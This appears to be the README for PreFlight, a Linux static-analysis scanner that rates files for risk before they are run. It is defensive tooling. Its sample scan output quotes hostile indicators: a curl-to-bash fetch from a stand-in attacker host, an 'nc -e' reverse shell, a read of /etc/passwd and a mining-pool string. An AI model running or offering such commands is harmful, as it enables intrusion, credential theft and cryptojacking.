PreFlight

A pre-install static risk-assessment scanner for Linux. Inspect a binary, package, AppImage, or script before you run it — never executing a single byte of it.

PreFlight tells you what a file is and whether it looks dangerous to run, using local static analysis: file-type/ELF introspection, suspicious-indicator rules, Shannon entropy (packed/obfuscated detection), SHA-256 hashing, and an optional VirusTotal reputation lookup via a companion service.

It is not an anti-virus replacement — it is a fast, local, privacy-friendly triage layer.

Quick start

# Scan a file (text report)
./preflight scan ./some-binary

# JSON report (great for CI / piping)
./preflight scan ./some-binary --json

# Interactive TUI dashboard
./preflight tui ./some-binary

Optional online reputation (Go companion):

# Start the reputation service (set VT_API_KEY to enable VirusTotal lookups)
VT_API_KEY=your_key ./preflight-rep

# Query it
curl http://127.0.0.1:7777/health
curl http://127.0.0.1:7777/lookup/hash/<sha256>

Build from source

Requires the Rust toolchain (rustup) and Go 1.22+.

# Rust CLI/TUI
cargo build --release      # → target/release/preflight

# Go reputation service
cd services/preflight-rep && go build -o ../../target/preflight-rep .

Example

Scanning a deliberately malicious shell script:

$ preflight scan samples/malicious.sh
Path      : samples/malicious.sh
Type      : Script (#!/bin/bash)
Entropy   : 4.8875 bits
SHA256    : 2c10734c39…
Verdict   : HIGH RISK — do not run  (risk score 145)

Findings (7):
  [HIGH] DOWNLOAD_EXEC   …  curl -s http://evil.example.com/x.sh | bash
  [HIGH] SENSITIVE_PATH  …  /etc/passwd
  [HIGH] CRYPTOMINER     …  stratum+tcp
  [HIGH] REVERSE_SHELL   …  nc -e
  [MEDIUM] DOWNLOADER_TOOL …  curl, wget
  …

Scanning a benign system binary:

$ preflight scan /bin/ls
Type      : ELF binary
Arch      : x86_64 (AMD64)
ELF type  : Shared object / PIE (ET_DYN)
Verdict   : LOW RISK  (risk score 10)

How it works

1. Reads up to 64 MiB of the target.
2. Identifies type via magic bytes (ELF / AppImage / .deb / zip / gzip / scripts / PE).
3. If ELF, parses arch, type, and entry point with goblin.
4. Extracts printable strings and matches them against an 11-rule indicator set (droppers, reverse shells, miners, sensitive paths, persistence, obfuscation…).
5. Computes Shannon entropy (flags packed/obfuscated binaries > 7.5 bits).
6. Produces a SHA-256 and a weighted risk score → verdict.

See SPEC.md for the full feature list, architecture, data flow, and scoring model.

Project layout

crates/preflight-cli/src/{main,analyzer,rules,tui}.rs   # Rust core + CLI + TUI
services/preflight-rep/main.go                          # Go reputation service

License

MIT